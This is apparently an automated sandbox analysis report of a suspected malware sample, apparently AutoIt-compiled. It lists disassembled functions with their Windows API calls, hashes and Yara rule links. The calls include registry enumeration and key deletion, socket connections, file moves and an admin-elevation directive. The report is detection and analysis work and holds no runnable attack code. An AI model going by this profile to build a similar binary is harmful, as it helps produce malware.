Instruction Fuzzy Hash: E95124A05486E53DFB3283648C45B7B7FA9FB06300F098988E1D4CA4C3D396AC88DB54

Function 008655FD Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 0086560A
_wcsncpy.LIBCMT ref: 0086563F
_wcsncpy.LIBCMT ref: 00865671
_wcsncpy.LIBCMT ref: 008656A4
_wcsncpy.LIBCMT ref: 008656E6
_wcsncpy.LIBCMT ref: 00865720
_wcsncpy.LIBCMT ref: 0086574F

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: f6f09ac9b8c2f9d4138f2c7a287e0fca5bd96e63a41129e4da6e5f3dd77eed7a
Instruction ID: 88d1ded013ae6db91eb1e5ae3e5521303c7d7fbf222f99636fb437434ac25adb
Opcode Fuzzy Hash: f6f09ac9b8c2f9d4138f2c7a287e0fca5bd96e63a41129e4da6e5f3dd77eed7a
Instruction Fuzzy Hash: E3419565C11628B6CB11EBB89C469CFB3B8FF04310F504556F618E3121EA34A2C5C7A7

Function 0088A056 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

S, xrefs: 0088A099, 0088A133

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID: S
API String ID: 0-2858979982
Opcode ID: 94315e4625c95404833865b03e4b6e61954b85f45f6aa78a2ca26a8850b4ee97
Instruction ID: 403e9c2d089aa4eda0b07298b21a53ba4c4f1609be251a895a3ed2f216004f04
Opcode Fuzzy Hash: 94315e4625c95404833865b03e4b6e61954b85f45f6aa78a2ca26a8850b4ee97
Instruction Fuzzy Hash: D941A539904504AFE728EF68CC8CFA9BBA8FB09310F150266F916E72E1D770AD51DB51

Function 00863671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0086466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00863697,?), ref: 0086468B

Part of subcall function 0086466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00863697,?), ref: 008646A4

lstrcmpiW.KERNEL32(?,?), ref: 008636B7
_wcscmp.LIBCMT ref: 008636D3
MoveFileW.KERNEL32(?,?), ref: 008636EB
_wcscat.LIBCMT ref: 00863733
SHFileOperationW.SHELL32(?), ref: 0086379F

Strings

\*.*, xrefs: 0086372D

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: c3078f6016b8525d720c12192f8582167b48926ee218e26a9a327d85541d6131
Instruction ID: 8254fc1b036b2858d1c10606e8e916b17fd2898c5c58cf965236183cf8b41f84
Opcode Fuzzy Hash: c3078f6016b8525d720c12192f8582167b48926ee218e26a9a327d85541d6131
Instruction Fuzzy Hash: 99418171508344AEC752EF68D4419DFB7E8FF99340F00182EB49AC3251EA34D689C753

Function 00880FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00880FD4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00880FFE
FreeLibrary.KERNEL32(00000000), ref: 008810B5

Part of subcall function 00880FA5: RegCloseKey.ADVAPI32(?), ref: 0088101B
Part of subcall function 00880FA5: FreeLibrary.KERNEL32(?), ref: 0088106D
Part of subcall function 00880FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00881090

RegDeleteKeyW.ADVAPI32(?,?), ref: 00881058

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: e8402555f1f206f5abef21422522a7219235c6f162bdfc815e6e1aee8e2e31f1
Instruction ID: 11459d939bc5473978f4f4877296b8434d72ce7869612e16e13a497a6441de96
Opcode Fuzzy Hash: e8402555f1f206f5abef21422522a7219235c6f162bdfc815e6e1aee8e2e31f1
Instruction Fuzzy Hash: 4E31F971901509BFDF15AB94DC89AFEB7BCFF08300F10416AF601E2151EB749E8A9BA1

Function 0085DAEB Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0085DB2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0085DB54
SysAllocString.OLEAUT32(00000000), ref: 0085DB57
SysAllocString.OLEAUT32(?), ref: 0085DB75
SysFreeString.OLEAUT32(?), ref: 0085DB7E
StringFromGUID2.OLE32(?,?,00000028), ref: 0085DBA3
SysAllocString.OLEAUT32(?), ref: 0085DBB1

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: b04c5856d9a5c224f77525b529e765d76673b259c7410914ede61ff04945c41d
Instruction ID: 68bfb23319b0da0b466a8b88ccdb0925b5c5a193ea4f36756111e0b00358af9c
Opcode Fuzzy Hash: b04c5856d9a5c224f77525b529e765d76673b259c7410914ede61ff04945c41d
Instruction Fuzzy Hash: 3B218176600219AFEF20DFA8DC88CBB73ADFB09371B118526FE14DB251D6709C458765

Function 00876173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00877D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00877DB6

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 008761C6
WSAGetLastError.WSOCK32(00000000), ref: 008761D5
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 0087620E
connect.WSOCK32(00000000,?,00000010), ref: 00876217
WSAGetLastError.WSOCK32 ref: 00876221
closesocket.WSOCK32(00000000), ref: 0087624A
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00876263

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 6a9ac664916615de0ebc7265e148eabb40c7d3597edcccf9cac1aa24eaa8fea0
Instruction ID: b728a0628da3978cd5133b5b8f81d6e97ac34da8a8d8265cf183412622125735
Opcode Fuzzy Hash: 6a9ac664916615de0ebc7265e148eabb40c7d3597edcccf9cac1aa24eaa8fea0
Instruction Fuzzy Hash: E031A471600518ABEF10AF28CC85BBD7BA9FF45725F048069FD09E7296DB70EC149B62

Function 0085F65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0085F671
__wcsnicmp.LIBCMT ref: 0085F692
__wcsnicmp.LIBCMT ref: 0085F6AC

Strings

#OnAutoItStartRegister, xrefs: 0085F6A6
#notrayicon, xrefs: 0085F669
#requireadmin, xrefs: 0085F68C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 08f09597f1bd5bc8afa8da2c1afdf39b2deba816902d9c31e0553ce9ed0240e8
Instruction ID: a31fc20360f5e9f8752b457b1079e87144b7f979c9a03dc33958dfa8659ae400
Opcode Fuzzy Hash: 08f09597f1bd5bc8afa8da2c1afdf39b2deba816902d9c31e0553ce9ed0240e8
Instruction Fuzzy Hash: E82149722041617AD620B638AC02EA773DCFF69355F144439FE45C7193FB549D89C396

Function 0085DBC4 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0085DC09
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0085DC2F
SysAllocString.OLEAUT32(00000000), ref: 0085DC32
SysAllocString.OLEAUT32 ref: 0085DC53
SysFreeString.OLEAUT32 ref: 0085DC5C
StringFromGUID2.OLE32(?,?,00000028), ref: 0085DC76
SysAllocString.OLEAUT32(?), ref: 0085DC84

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: f5a6d9065282b5fa253f43c3980d31ce711e8cbfa7813fef9c53ddbb5080372a
Instruction ID: 34b5f0973b087181566f0565e63ae8028a6d6b091f74ba82694d8fd138b2e4c1
Opcode Fuzzy Hash: f5a6d9065282b5fa253f43c3980d31ce711e8cbfa7813fef9c53ddbb5080372a
Instruction Fuzzy Hash: 91215675604218AF9B20DFACDC88DAB77ECFB09361B108166FE15CB261D674DC45CB64

Function 008875CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00801D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00801D73
Part of subcall function 00801D35: GetStockObject.GDI32(00000011), ref: 00801D87
Part of subcall function 00801D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00801D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00887632
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0088763F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0088764A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00887659
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00887665

Strings

Msctls_Progress32, xrefs: 00887603

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 7e2b15c0cd52bc163cd587818b3346769ea4a35743639d8a2e1e9a93198deae2
Instruction ID: c7d02d9d76ff4576afe97d17bbdb552f929edbd693254a6cb6576027ce211b8f
Opcode Fuzzy Hash: 7e2b15c0cd52bc163cd587818b3346769ea4a35743639d8a2e1e9a93198deae2
Instruction Fuzzy Hash: AC1193B1110119BFEF159F64CC85EE77F6DFF087A8F114215BA04A21A0D6729C21DBA4

Function 00829AE6 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00829AE6

Part of subcall function 00823187: EncodePointer.KERNEL32(00000000), ref: 0082318A
Part of subcall function 00823187: __initp_misc_winsig.LIBCMT ref: 008231A5
Part of subcall function 00823187: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00829EA0
Part of subcall function 00823187: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00829EB4
Part of subcall function 00823187: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00829EC7
Part of subcall function 00823187: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00829EDA
Part of subcall function 00823187: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00829EED
Part of subcall function 00823187: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00829F00
Part of subcall function 00823187: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00829F13
Part of subcall function 00823187: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00829F26
Part of subcall function 00823187: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00829F39
Part of subcall function 00823187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00829F4C
Part of subcall function 00823187: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00829F5F
Part of subcall function 00823187: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00829F72
Part of subcall function 00823187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00829F85
Part of subcall function 00823187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00829F98
Part of subcall function 00823187: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00829FAB
Part of subcall function 00823187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00829FBE

__mtinitlocks.LIBCMT ref: 00829AEB
__mtterm.LIBCMT ref: 00829AF4

Part of subcall function 00829B5C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00829AF9,00827CD0,008BA0B8,00000014), ref: 00829C56
Part of subcall function 00829B5C: _free.LIBCMT ref: 00829C5D
Part of subcall function 00829B5C: DeleteCriticalSection.KERNEL32(008BEC00,?,?,00829AF9,00827CD0,008BA0B8,00000014), ref: 00829C7F

__calloc_crt.LIBCMT ref: 00829B19
__initptd.LIBCMT ref: 00829B3B
GetCurrentThreadId.KERNEL32 ref: 00829B42

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 00b37b8ffd8f7e563d55d23516a9f35d056ef4aa377750a1235e39de935dc293
Instruction ID: da28ae99770fb7b27e6d45832ab80ed556cb0b42b42533803e13935d2222ea2d
Opcode Fuzzy Hash: 00b37b8ffd8f7e563d55d23516a9f35d056ef4aa377750a1235e39de935dc293
Instruction Fuzzy Hash: 12F090325197315EE634777CBC0768A3B90FF02730F200A29F4E5D51D2EF2184C145A6

Function 0082406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00823F85), ref: 00824085
GetProcAddress.KERNEL32(00000000), ref: 0082408C
EncodePointer.KERNEL32(00000000), ref: 00824097
DecodePointer.KERNEL32(00823F85), ref: 008240B2

Strings

RoUninitialize, xrefs: 00824074
combase.dll, xrefs: 00824080

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 2da0cca4a536b67bfcf7bb78f418d7dd44ae38fd5f8017e6d7698d6cd9263bd8
Instruction ID: afa1cfba3adc661ba952514908b3b6e73d5a96f64be03f26da845918f7b633ac
Opcode Fuzzy Hash: 2da0cca4a536b67bfcf7bb78f418d7dd44ae38fd5f8017e6d7698d6cd9263bd8
Instruction Fuzzy Hash: B9E0B670581310EFEB50AF66ED0DF453AB5F704742F18802AF211E12A1CBBA4645DB14

Function 008664B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0086660B
_memmove.LIBCMT ref: 00866546

Part of subcall function 00809837: __itow.LIBCMT ref: 00809862
Part of subcall function 00809837: __swprintf.LIBCMT ref: 008098AC

_memmove.LIBCMT ref: 008665B9
_memmove.LIBCMT ref: 008666A0
_memmove.LIBCMT ref: 008666B9
_memmove.LIBCMT ref: 008666D5

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 76b414fce70ed4315a476acb9bc9480d4d23d6fdfacab3245a9398dc4472c5c6
Instruction ID: 94b2b0012fcab326926fce53fcb0137c8b1b010e8d54a8e75899e93b37ddd14b
Opcode Fuzzy Hash: 76b414fce70ed4315a476acb9bc9480d4d23d6fdfacab3245a9398dc4472c5c6
Instruction Fuzzy Hash: E1619F7050029A9BCF01EF68DC82AFE37A5FF15308F058525F859AB293EB34A855CB52

Function 008801E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

Part of subcall function 00880E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0087FDAD,?,?), ref: 00880E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 008802BD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 008802FD
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00880320
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00880349
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0088038C
RegCloseKey.ADVAPI32(00000000), ref: 00880399

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 067e0ef026057abc18fc7bfcdd1fd02d1736251d98626f597522befc3c768d41
Instruction ID: 212bb1e227fcbcdd03c1f2a110467639112b77de26045a6f356068f358bada15
Opcode Fuzzy Hash: 067e0ef026057abc18fc7bfcdd1fd02d1736251d98626f597522befc3c768d41
Instruction Fuzzy Hash: 69513731208204AFCB51EB68C885E6ABBE8FF85314F04491DF995C72A2DB31E949CF52

Function 00885799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 008857FB
GetMenuItemCount.USER32(00000000), ref: 00885832
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 0088585A
GetMenuItemID.USER32(?,?), ref: 008858C9
GetSubMenu.USER32(?,?), ref: 008858D7
PostMessageW.USER32(?,00000111,?,00000000), ref: 00885928

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: c43936f780659906b17591fda6c57bb87458c2f18045b38feb708078156cc2b0
Instruction ID: 65b4d194dcc33464f2196413aff7430832e1c61f3ed30909752f9c25bec5e5da
Opcode Fuzzy Hash: c43936f780659906b17591fda6c57bb87458c2f18045b38feb708078156cc2b0
Instruction Fuzzy Hash: 19515C75A00615EFCF11EF68C8459AEBBB4FF48320F104066E951EB352DB34AE418B91

Function 0085EEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0085EF06
VariantClear.OLEAUT32(00000013), ref: 0085EF78
VariantClear.OLEAUT32(00000000), ref: 0085EFD3
_memmove.LIBCMT ref: 0085EFFD
VariantClear.OLEAUT32(?), ref: 0085F04A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 0085F078

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 059022ca0c6a0ba9749c99d71125bb6f32f8e25eaa3d5638d64480b59a51dd44
Instruction ID: 0bc2ebab6f0f7b1c0f833a27747e1099ae6cd9d172cb774d55cc941e51f6117c
Opcode Fuzzy Hash: 059022ca0c6a0ba9749c99d71125bb6f32f8e25eaa3d5638d64480b59a51dd44
Instruction Fuzzy Hash: 34515D75A00209DFCB14CF58C884AAAB7B8FF4C314B15856AEE59DB342E734E915CB90

Function 0086220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00862258
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 008622A3
